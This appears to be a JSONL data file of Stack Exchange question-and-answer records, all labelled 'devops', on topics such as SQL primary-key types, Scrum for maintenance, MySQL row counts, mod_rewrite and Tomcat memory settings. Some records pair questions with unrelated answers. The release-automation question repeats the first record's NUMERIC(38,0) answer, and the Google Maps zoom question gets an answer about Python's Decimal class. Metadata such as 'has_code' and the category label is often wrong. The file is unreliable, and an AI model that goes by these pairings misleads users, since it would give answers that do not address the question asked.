{"id": "hf_9f5bf2fadf13", "question": "<p>On my current project, I came across our master DB script. Taking a closer look at it, I noticed that all of our original primary keys have a data type of <strong>numeric(38,0)</strong>\nWe are currently running SQL Server 2005 as our primary DB platform.</p>\n\n<p>For a little context, we support both Oracle and SQL Server as our back-end. In Oracle, our primary keys have a data type of <strong>number(38,0).</strong></p>\n\n<p>Does anybody know of possible side-effects and performance impact of such implementation? I have always advocated and implemented <em>int</em> or <em>bigint</em> as primary keys and would love to know if numeric(38,0) is a better alternative.</p>\n", "question_body": "", "answer": "Barring the storage considerations and some initial confusion from future DBAs, I don't see any reason why NUMERIC(38,0) would be a bad idea. You're allowing for up to 9.99 x 10^38 records in your table, which you will certainly never reach. My quick digging into this didn't turn up any glaring reason not to use it. I suspect that your only potential issue will be the storage space consumed by that, but seeing as how storage space is so cheap, that shouldn't be an issue.\nI've seen this a fair number of times in Oracle databases since it's a pretty big default value that you don't need to think about when you're creating a table, similar to using INT or BIGINT by default in SQL Server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.732858"}
{"id": "hf_bf7220968a2b", "question": "<p>Everyone managing open-source-software runs into the problem, that with the time the process of releasing a new version gets more and more work. You have to tag the release in your version-control, create the distributions (that should be easy with automated builds), upload them to your website and/or open-source-hoster. You have to announce the new release with nearly the same message on chosen web-forums, the news-system on sourceforge, mailinglists and your blog or website. And you have to update the entry of your software on freshmeat. Possible more tasks have to be done for the release.</p>\n\n<p>Do you developed techniques to automate some of these tasks? Does software exist that supports you with this?</p>\n", "question_body": "", "answer": "Barring the storage considerations and some initial confusion from future DBAs, I don't see any reason why NUMERIC(38,0) would be a bad idea. You're allowing for up to 9.99 x 10^38 records in your table, which you will certainly never reach. My quick digging into this didn't turn up any glaring reason not to use it. I suspect that your only potential issue will be the storage space consumed by that, but seeing as how storage space is so cheap, that shouldn't be an issue.\nI've seen this a fair number of times in Oracle databases since it's a pretty big default value that you don't need to think about when you're creating a table, similar to using INT or BIGINT by default in SQL Server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.756928"}
{"id": "hf_1f82a0ed5fea", "question": "<p>As the title suggest...\nHow can I apply a scrum process to anything that doesn't work on new code and can be estimated to some degree?</p>\n\n<p>How can I apply a scrum process to maintenance and emergency fixes (which can take from 5 minutes to 2 weeks to fix) type of environment when I still would like to plan to do things?</p>\n\n<p>Basically, how do I overcome unplanned tasks and tasks that are very difficult to estimate with the scrum process? or am I simply applying the wrong process for this enviroment?</p>\n", "question_body": "", "answer": "Treat all fixes and improvements as individual stories and estimate accordingly. My personal view is that things that take less then 10-15 minutes to fix should just be done straight away. For those that take longer, they become part of the current 'fix & improvement' iteration cycle. As with estimating regular requirements, you take a best guess as a team. As more information comes to light, and the estimates are off adjust the iteration and upcoming sprints.\nIt's hard to apply a iteration cycle to fixes and improvements as more often then not, they prevent the system from working as they should and the 'business' puts pressure for them to go live asap. At this point it may work out better moving to a really short iteration cycle, like one or two weeks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.793430"}
{"id": "hf_46968d8ff7a3", "question": "<p>Is it possible to insert a row, but only if one of the values already in the table does not exist?</p>\n\n<p>I'm creating a <em>Tell A Friend</em> with referral points for an ecommerce system, where I need to insert the friend's email into the database table, but only if it doesn't already exist in the table. This is because I don't want any more than 1 person getting the referral points once the new customer signs up and purchases something. Therefore I want only one email ever once in the table.</p>\n\n<p>I'm using PHP 4 and MySql 4.1.</p>\n", "question_body": "", "answer": "I'm not sure if I got it, but what about a\n```\n```\ntry {\n  mysql_query($sql);\n}\ncatch(Exception $e) {\n\n}\n```\n```\ncombined with an unique field index in MySQL?\nif it throws an exception then you know that you got a duplicated field.\nSorry if that don't answer your question..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.818245"}
{"id": "hf_57b44a1b82a6", "question": "<p>Given an HTML link like</p>\n\n<pre><code>&lt;a href=\"urltxt\" class=\"someclass\" close=\"true\"&gt;texttxt&lt;/a&gt;\n</code></pre>\n\n<p>how can I isolate the url and the text? </p>\n\n<p><strong>Updates</strong></p>\n\n<p>I'm using Beautiful Soup, and am unable to figure out how to do that. </p>\n\n<p>I did </p>\n\n<pre><code>soup = BeautifulSoup.BeautifulSoup(urllib.urlopen(url))\n\nlinks = soup.findAll('a')\n\nfor link in links:\n    print \"link content:\", link.content,\" and attr:\",link.attrs\n</code></pre>\n\n<p>i get </p>\n\n<pre><code>*link content: None  and attr: [(u'href', u'_redirectGeneric.asp?genericURL=/root    /support.asp')]*  ...\n...\n</code></pre>\n\n<p>Why am i missing the content? </p>\n\n<p>edit: elaborated on 'stuck' as advised :)</p>\n", "question_body": "", "answer": "Use\nBeautiful Soup\n.  Doing it yourself is harder than it looks, you'll be better off using a tried and tested module.\nEDIT:\nI think you want:\n```\n```\nsoup = BeautifulSoup.BeautifulSoup(urllib.urlopen(url).read())\n```\n```\nBy the way, it's a bad idea to try opening the URL there, as if it goes wrong it could get ugly.\nEDIT 2:\nThis should show you all the links in a page:\n```\n```\nimport urlparse, urllib\nfrom BeautifulSoup import BeautifulSoup\n\nurl = \"http://www.example.com/index.html\"\nsource = urllib.urlopen(url).read()\n\nsoup = BeautifulSoup(source)\n\nfor item in soup.fetchall('a'):\n    try:\n        link =  urlparse.urlparse(item['href'].lower())\n    except:\n        # Not a valid link\n        pass\n    else:\n        print link\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.842825"}
{"id": "hf_4da853042afa", "question": "<p>Does anyone know if NHibernate supports returning output parameters from stored procedures? I've had a search in the documentation but can't really find anything that confirms either way.</p>\n", "question_body": "", "answer": "I can't officially\nconfirm\nfor you, but as far as I know, not directly. Stored procedure use in NHibernate is very specific to doing standard CRUD.\nIf you want to grab output paramaters (that are't the standard row count output parameter for INSERT, UPDATE, and DELETE), you could fall back to a different (or the standard) database access tools that give you direct access to SQL and the result set. (Assuming you can get by with bypassing NHibernate's cache. You'll want to make sure you flush NHibernate before you run the query too, etc.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.867335"}
{"id": "hf_6e18f1ed0c51", "question": "<p>Does anybody have a snippet of Java that can return the newest file in a directory (or knowledge of a library that simplifies this sort of thing)?</p>\n", "question_body": "", "answer": "Something like:\n```\n```\nimport java.io.File;\nimport java.util.Arrays;\nimport java.util.Comparator;\n\npublic class Newest {\n    public static void main(String[] args) {\n        File dir = new File(\"C:\\\\your\\\\dir\");\n        File [] files  = dir.listFiles();\n        Arrays.sort(files, new Comparator(){\n            public int compare(Object o1, Object o2) {\n                return compare( (File)o1, (File)o2);\n            }\n            private int compare( File f1, File f2){\n                long result = f2.lastModified() - f1.lastModified();\n                if( result > 0 ){\n                    return 1;\n                } else if( result < 0 ){\n                    return -1;\n                } else {\n                    return 0;\n                }\n            }\n        });\n        System.out.println( Arrays.asList(files ));\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.891938"}
{"id": "hf_cf144a7ef5fa", "question": "<p>The <code>equals()</code> method of the URL class in the Java class library makes a DNS request to get the IP for the hostname, to check the two IP's for equality. This happens even for URLs that are created from the same <code>String</code>. Is there a way to avoid this internet access?</p>\n", "question_body": "", "answer": "Don't use URL.equals. As the documentation says,\nNote: The defined behavior for\n```\nequals\n```\nis known to be inconsistent with virtual hosting in HTTP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.916877"}
{"id": "hf_dbcfccd2fa38", "question": "<p>The renewal wizard doesn't seem to ask for a renewal period.</p>\n", "question_body": "", "answer": "I think the Cerficate Supplier sets the renewal period.  So it depends on the type of Cert you buy (or the setup of your certification service).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.941047"}
{"id": "hf_5beac5dd3f8e", "question": "<p>I'd love to use WPF for a consumer app. However, some real world tests are not very encouraging. On several high-end computers I've tested, the .NET 3.5 installation has taken 15-20 mins to complete. I've seen reports online mentioning 50 mins.</p>\n\n<p>When Vista marketshare is at 70%, this subject will be moot. Until then, reality is that the majority of consumers are on XP and will need a .NET 3.5 install. Adding 15-20 mins (at best) to the install of a consumer app is simply unacceptable.</p>\n\n<p>1) What the frack is the .NET installer taking so long for?</p>\n\n<p>2) Is there any way to optimize the .NET install?</p>\n\n<p>Oh, and I know about the .NET Client Profile. Doesn't improve the situation much.</p>\n", "question_body": "", "answer": "Its big.\nUsing the MS supplied web install is the best cause it only installs what it needs (but thats still big)\nOnly option is to only detect its not there and warn the user and ask them to install it.  Only the first 3.5 app is affected.  All others will be speedy.\nApparently, all supported OSs will be rolled out to this over time using Windows Update and Services Packs and the like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:11.990683"}
{"id": "hf_c8315021ecd8", "question": "<p>There seem to be a decent number of <code>mod_rewrite</code> threads floating around lately with a bit of confusion over how certain aspects of it work. As a result I've compiled a few notes on common functionality, and perhaps a few annoying nuances.</p>\n\n<p>What other features / common issues have you run across using <code>mod_rewrite</code>?</p>\n", "question_body": "", "answer": "Where to place mod_rewrite rules\n```\nmod_rewrite\n```\nrules may be placed within the\n```\nhttpd.conf\n```\nfile, or within the\n```\n.htaccess\n```\nfile. if you have access to\n```\nhttpd.conf\n```\n, placing rules here will offer a performance benefit (as the rules are processed once, as opposed to each time the\n```\n.htaccess\n```\nfile is called).\nLogging mod_rewrite requests\nLogging may be enabled from within the\n```\nhttpd.conf\n```\nfile (including\n```\n<Virtual Host>\n```\n):\n```\n```\n# logs can't be enabled from .htaccess\n# loglevel > 2 is really spammy!\nRewriteLog /path/to/rewrite.log\nRewriteLogLevel 2\n```\n```\nCommon use cases\nTo funnel all requests to a single point:\n```\n```\nRewriteEngine on\n# ignore existing files\nRewriteCond %{REQUEST_FILENAME} !-f   \n# ignore existing directories\nRewriteCond %{REQUEST_FILENAME} !-d   \n# map requests to index.php and append as a query string\nRewriteRule ^(.*)$ index.php?query=$1\n```\n```\nSince Apache 2.2.16 you can also use\n```\nFallbackResource\n```\n.\nHandling 301/302 redirects:\n```\n```\nRewriteEngine on\n# 302 Temporary Redirect (302 is the default, but can be specified for clarity)\nRewriteRule ^oldpage\\.html$ /newpage.html [R=302]  \n# 301 Permanent Redirect\nRewriteRule ^oldpage2\\.html$ /newpage.html [R=301]\n```\n```\nNote\n: external redirects are implicitly 302 redirects:\n```\n```\n# this rule:\nRewriteRule ^somepage\\.html$ http://google.com\n# is equivalent to:\nRewriteRule ^somepage\\.html$ http://google.com [R]\n# and:\nRewriteRule ^somepage\\.html$ http://google.com [R=302]\n```\n```\nForcing SSL\n```\n```\nRewriteEngine on\nRewriteCond %{HTTPS} off\nRewriteRule ^(.*)$ https://example.com/$1 [R,L]\n```\n```\nCommon flags:\n```\n[R]\n```\nor\n```\n[redirect]\n```\n- force a redirect (defaults to a 302 temporary redirect)\n```\n[R=301]\n```\nor\n```\n[redirect=301]\n```\n- force a 301 permanent redirect\n```\n[L]\n```\nor\n```\n[last]\n```\n- stop rewriting process (see note below in common pitfalls)\n```\n[NC]\n```\nor\n```\n[nocase]\n```\n- specify that matching should be case insensitive\nUsing the long-form of flags is often more readable and will help others who come to read your code later.\nYou can separate multiple flags with a comma:\n```\n```\nRewriteRule ^olddir(.*)$ /newdir$1 [L,NC]\n```\n```\nCommon pitfalls\nMixing\n```\nmod_alias\n```\nstyle redirects with\n```\nmod_rewrite\n```\n```\n```\n# Bad\nRedirect 302 /somepage.html http://example.com/otherpage.html\nRewriteEngine on\nRewriteRule ^(.*)$ index.php?query=$1\n\n# Good (use mod_rewrite for both)\nRewriteEngine on\n# 302 redirect and stop processing\nRewriteRule ^somepage.html$ /otherpage.html [R=302,L] \nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\n# handle other redirects\nRewriteRule ^(.*)$ index.php?query=$1\n```\n```\nNote\n: you can mix\n```\nmod_alias\n```\nwith\n```\nmod_rewrite\n```\n, but it involves more work than just handling basic redirects as above.\nContext affects syntax\nWithin\n```\n.htaccess\n```\nfiles, a leading slash is not used in the RewriteRule pattern:\n```\n```\n# given: GET /directory/file.html\n\n# .htaccess\n# result: /newdirectory/file.html\nRewriteRule ^directory(.*)$ /newdirectory$1\n\n# .htaccess\n# result: no match!\nRewriteRule ^/directory(.*)$ /newdirectory$1\n\n# httpd.conf\n# result: /newdirectory/file.html\nRewriteRule ^/directory(.*)$ /newdirectory$1\n\n# Putting a \"?\" after the slash will allow it to work in both contexts:\nRewriteRule ^/?directory(.*)$ /newdirectory$1\n```\n```\n[L] is not last! (sometimes)\nThe\n```\n[L]\n```\nflag stops processing any further rewrite rules\nfor that pass through the rule set\n. However, if the URL was modified in that pass and you're in the\n```\n.htaccess\n```\ncontext or the\n```\n<Directory>\n```\nsection, then your modified request is going to be passed back through the URL parsing engine again. And on the next pass, it may match a different rule this time. If you don't understand this, it often looks like your\n```\n[L]\n```\nflag had no effect.\n```\n```\n# processing does not stop here\nRewriteRule ^dirA$ /dirB [L] \n# /dirC will be the final result\nRewriteRule ^dirB$ /dirC\n```\n```\nOur rewrite log shows that the rules are run twice and the URL is updated twice:\n```\n```\nrewrite 'dirA' -> '/dirB'\ninternal redirect with /dirB [INTERNAL REDIRECT]\nrewrite 'dirB' -> '/dirC'\n```\n```\nThe best way around this is to use the\n```\n[END]\n```\nflag (\nsee Apache docs\n) instead of the\n```\n[L]\n```\nflag, if you truly want to stop all further processing of rules (and subsequent passes). However, the\n```\n[END]\n```\nflag is only available for\nApache v2.3.9+\n, so if you have v2.2 or lower, you're stuck with just the\n```\n[L]\n```\nflag.\nFor earlier versions, you must rely on\n```\nRewriteCond\n```\nstatements to prevent matching of rules on subsequent passes of the URL parsing engine.\n```\n```\n# Only process the following RewriteRule if on the first pass\nRewriteCond %{ENV:REDIRECT_STATUS} ^$\nRewriteRule ...\n```\n```\nOr you must ensure that your RewriteRule's are in a context (i.e.\n```\nhttpd.conf\n```\n) that will not cause your request to be re-parsed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.027380"}
{"id": "hf_97a06473ce98", "question": "<p>I need to configure Tomcat memory settings as part of a larger installation, so manually configuring tomcat with the configuration app after the fact is out of the question. I thought I could just throw the JVM memory settings into the JAVA_OPTS environment variable, but I'm testing that with jconsole to see if it works and it... doesn't.</p>\n\n<p>As per the comment below, CATALINA_OPTS doesn't work either. So far, the only way I can get it to work is via the Tomcat configuration GUI, and that's not an acceptable solution for my problem.</p>\n", "question_body": "", "answer": "Use the\n```\nCATALINA_OPTS\n```\nenvironment variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.054921"}
{"id": "hf_96b365279e60", "question": "<p>We have YouTube videos on a site and want to detect if it is likely that they will not be able to view them due to (mostly likely) company policy or otherwise.</p>\n\n<p>We have two sites:</p>\n\n<p>1) Flex / Flash\n2) HTML</p>\n\n<p>I think with Flex I can attempt to download <a href=\"http://youtube.com/crossdomain.xml\" rel=\"noreferrer\">http://youtube.com/crossdomain.xml</a> and if it is valid XML assume the site is available</p>\n\n<p>But with HTML I don't know how to do it. I can't even think of a 'nice hack'.</p>\n", "question_body": "", "answer": "This should work.  Basically, it loads a youtube.com javascript file, then checks if a function in that file exists.\n```\n```\n<html>\n\n<head>\n    <script src=\"http://www.youtube.com/js/account.js\"></script>\n    <script>\n        function has_you_tube()\n        {\n            if(typeof addVideosToQuicklist == 'function')\n            {\n                return true;\n            }\n            else\n            {\n                return false;\n            }\n\n        }\n    </script>\n\n</head>\n<body>\n    <script>alert( \"has_youtube: \" + has_you_tube() ); </script>\n</body>\n\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.091582"}
{"id": "hf_6b2247af1ed2", "question": "<p>Is there a way to get the count of rows in all tables in a MySQL database without running a <code>SELECT count()</code> on each table?</p>\n", "question_body": "", "answer": "You can probably put something together with\nTables table\n.  I've never done it, but it looks like it has a column for\nTABLE_ROWS\nand one for\nTABLE NAME\n.\nTo get rows per table, you can use a query like this:\n```\n```\nSELECT table_name, table_rows\nFROM INFORMATION_SCHEMA.TABLES\nWHERE TABLE_SCHEMA = '**YOUR SCHEMA**';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.141293"}
{"id": "hf_299bbe56b2b1", "question": "<p>If I have a key set of 1000, what is a suitable size for my Hash table, and how is that determined?</p>\n", "question_body": "", "answer": "There's some discussion of these factors in the documentation for\n```\nHashtable\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.170362"}
{"id": "hf_d03ced66fe7d", "question": "<p>How would I go about creating a Google map that allows the user to zoom beyond the default zoom levels for the map?  Would I have to create a new map type that has a greater maximum zoom?  Are there any tutorials out there that show how to do this?</p>\n", "question_body": "", "answer": "I'm not familiar enough with the Decimal class to help you out, but your problem is due to the fact that decimal fractions can often not be accurate represented in binary, so what you're seeing is the closest possible approximation; there's no way to avoid this problem without using a special class (like Decimal, probably).\n```\nEDIT:\n```\nWhat about the decimal class isn't working properly for you? As long as I start with a string, rather than a float, powers seem to work fine.\n```\n```\n>>> import decimal\n>>> print(decimal.Decimal(\"1.2\") ** 2)\n1.44\n```\n```\nThe\nmodule documentation\nexplains the need for and usage of\n```\ndecimal.Decimal\n```\npretty clearly, you should check it out if you haven't yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.219213"}
{"id": "hf_2686fb040f65", "question": "<p>My question is a lot like <a href=\"https://stackoverflow.com/questions/80721/\">this one</a>. However I'm on MySQL and I'm looking for the \"lowest tech\" solution that I can find. </p>\n\n<p>The situation is that I have 2 databases that should have the same data in them but they are updated primarily when they are not able to contact each other. I suspect that there is some sort of clustering or master/slave thing that would be able to sync them just fine. However in my cases that is major overkill as this is just a scratch DB for my own use.</p>\n\n<p>What is a good way to do this?</p>\n\n<p>My current approach is to have a Federated table on one of them and, every so often, stuff the data over the wire to the other with an insert/select. It get a bit convoluted trying to deal with primary keys and what not. (<code>insert ignore</code> seems to not work correctly)</p>\n\n<p>p.s. I can easily build a query that selects the rows to transfer.</p>\n", "question_body": "", "answer": "MySQL's inbuilt replication is very easy to set up and works well even when the DBs are disconnected most of the time. I'd say configuring this would be much simpler than any custom solution out there.\nSee\nhttp://www.howtoforge.com/mysql_database_replication\nfor instructions, you should be up and running in 10-15 mins and you won't have to think about it again.\nThe only downside I can see is that it is asynchronous - ie. you must have one designated master that gets all the changes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.243898"}
{"id": "hf_16cd0c187ce3", "question": "<p>I've installed Subversion on Ubuntu following the guide <em><a href=\"http://alephzarro.com/blog/2007/01/07/installation-of-subversion-on-ubuntu-with-apache-ssl-and-basicauth\" rel=\"nofollow noreferrer\">Installation of Subversion on Ubuntu, with Apache, SSL, and BasicAuth.</a></em>.</p>\n\n<p>It works, and I was able commit and create different repositories, but somehow, from time to time (sometimes minutes), when trying to do a commit, I'm forced to reset or recreate my user and password with the following command.</p>\n\n<pre><code>htpasswd2 -c -m /etc/apache2/dav_svn.passwd $AUTH_USER \n</code></pre>\n\n<p>Because SVN does not recognize my user/password anymore. </p>\n\n<p>I'm using TortoiseSVN as SVN Client. I would like to know why this is happening. Maybe it's a configuration issue, or maybe TortoiseSVN is sending invalid credentials, causing a locked account. Since I'm far from being an SVN expert/administrator. Are there some pointers in order to attack the problem.</p>\n", "question_body": "", "answer": "I'm using TortoiseSVN as well, but on Windows users' passwords are managed by\nActive Directory\non the network domain. So usernames are in the format\n```\n<domain>\\<user>\n```\n. And from time to time (weeks), I need to reset the password; it seems like the password is changed. I just do not know why.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.280970"}
{"id": "hf_47f6986be669", "question": "<p>I am not a fan of using SQL*PLUS as an interface to Oracle.  I usually use <a href=\"http://sourceforge.net/projects/yasql/\" rel=\"noreferrer\">yasql</a>, but it hasn't been updated since 2005 and can do with some improvements.  A quick <a href=\"http://www.google.com/search?q=sql*plus+replacement\" rel=\"noreferrer\">Google search</a> shows yasql and <a href=\"http://www.sqlpal.com/\" rel=\"noreferrer\">SQLPal</a>.  I am using linux, so SQLPal is not an option.  </p>\n\n<p>Are there any alternatives out there, or am I stuck with an interface that I do not like or one that is no longer maintained?  </p>\n", "question_body": "", "answer": "TOAD is pretty expensive, but you can download a 90-day trial from the Quest site to see if it's got the feature set you want (don't be fooled by the \"freeware\" title - it's only free for 90 days, and then it expires, which definitely makes it shareware):\nhttp://www.toadworld.com/Freeware/ToadforOracleFreeware/tabid/558/Default.aspx\nAnother options is a tool I've seen on CodeProject:\nhttp://www.codeproject.com/KB/database/OQuery.aspx\nIt's in .NET, so you'd have to see if it compiled on Mono, but it might be worth a shot. I haven't used either tool (Toad or this one), since I'm a SQL Server guy, but I've heard good things about Toad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.318142"}
{"id": "hf_c120d22629fa", "question": "<p>I want to assert that a method is called exactly one time. I'm using RhinoMocks 3.5.</p>\n\n\n\n<p>Here's what I thought would work:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>[Test]\npublic void just_once()\n{\n    var key = \"id_of_something\";\n\n    var source = MockRepository.GenerateStub&lt;ISomeDataSource&gt;();\n    source.Expect(x =&gt; x.GetSomethingThatTakesALotOfResources(key))\n        .Return(new Something())\n        .Repeat.Once();\n\n    var client = new Client(soure);\n\n    // the first call I expect the client to use the source\n    client.GetMeMyThing(key);\n\n    // the second call the result should be cached\n    // and source is not used\n    client.GetMeMyThing(key);\n}\n</code></pre>\n\n<p>I want this test to fail if the second invocation of <code>GetMeMyThing()</code> calls <code>source.GetSomethingThatTakesALotOfResources()</code>.</p>\n", "question_body": "", "answer": "Here is what I just did (as recommended by\nRay Houston\n). I would still appreciate a more elegant solution...\n```\n```\n[Test]\npublic void just_once()\n{\n    var key = \"id_of_something\";\n\n    var source = MockRepository.GenerateStub<ISomeDataSource>();\n\n    // set a positive expectation\n    source.Expect(x => x.GetSomethingThatTakesALotOfResources(key))\n        .Return(new Something())\n        .Repeat.Once();\n\n    var client = new Client(soure);\n\n    client.GetMeMyThing(key);\n\n    // set a negative expectation\n    source.Expect(x => x.GetSomethingThatTakesALotOfResources(key))\n        .Return(new Something())\n        .Repeat.Never();\n\n    client.GetMeMyThing(key);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.343223"}
{"id": "hf_07c78595ee23", "question": "<pre><code>typedef struct {\n        nat id;\n        char *data;\n        } element_struct;\n\ntypedef element_struct * element;\n\nvoid push(element e, queue s) {\n        nat lt = s-&gt;length;\n        if (lt == max_length - 1) {\n                printf(\"Error in push: Queue is full.\\n\");\n                return;\n        }\n        else {\n                s-&gt;contents[lt] = e;\n                s-&gt;length = lt + 1;\n        }\n}\nint main () {\n         push(something_of_type_element, s);\n}\n</code></pre>\n\n<p>How would i go about formatting \"<code>something_of_type_element</code>\"?</p>\n\n<p>Thanks</p>\n\n<p>Notes:\nnat is the same as int</p>\n", "question_body": "", "answer": "How about:\n```\n```\nelement elem = malloc(sizeof(element_struct));\nif (elem == NULL) {\n    /* Handle error. */\n}\n\nelem->id = something;\nelem->data = something_else;\n\npush(elem, s);\n```\n```\nNote that there's lots of memory management missing here...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.368426"}
{"id": "hf_44c04adf7a3d", "question": "<p>Our Windows Forms application by default saves data files in a user's 'My Documents' folder (on XP) or 'Documents' folder (on Vista). We look up this location by calling:</p>\n\n<pre><code>Environment.GetFolderPath( Environment.SpecialFolder.Personal )\n</code></pre>\n\n<p>We know for sure this works great for users whose personal folder is on a local disk. What we're not sure about is domain users who have Folder Redirection in effect for their profile/personal data folders.</p>\n\n<p>My question is: <strong>Does the above call properly resolve regardless of whether Folder Redirection is active?</strong></p>\n\n<p>I don't have the environment to test this out, and I haven't been able to find any definite confirmation one way or the other.</p>\n", "question_body": "", "answer": "I would expect that it does.  The documentation for both\n```\nEnvironment.GetFolderPath\n```\nand the underlying\n```\nSHGetSpecialFolderPath\n```\ndon't give any indication that it would not resolve correctly nor can I find anything that you would use its place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.393411"}
{"id": "hf_251d40168f0e", "question": "<p>How can I test <code>Controller.ViewData.ModelState</code>? I would prefer to do it without any mock framework.  </p>\n", "question_body": "", "answer": "You don't have to use a Mock if you're using the Repository Pattern for your data, of course.\nSome examples:\nhttp://www.singingeels.com/Articles/Test_Driven_Development_with_ASPNET_MVC.aspx\n```\n```\n// Test for required \"FirstName\".\n   controller.ViewData.ModelState.Clear();\n\n   newCustomer = new Customer\n   {\n       FirstName = \"\",\n       LastName = \"Smith\",\n       Zip = \"34275\",    \n   };\n\n   controller.Create(newCustomer);\n\n   // Make sure that our validation found the error!\n   Assert.IsTrue(controller.ViewData.ModelState.Count == 1, \n                 \"FirstName must be required.\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.466837"}
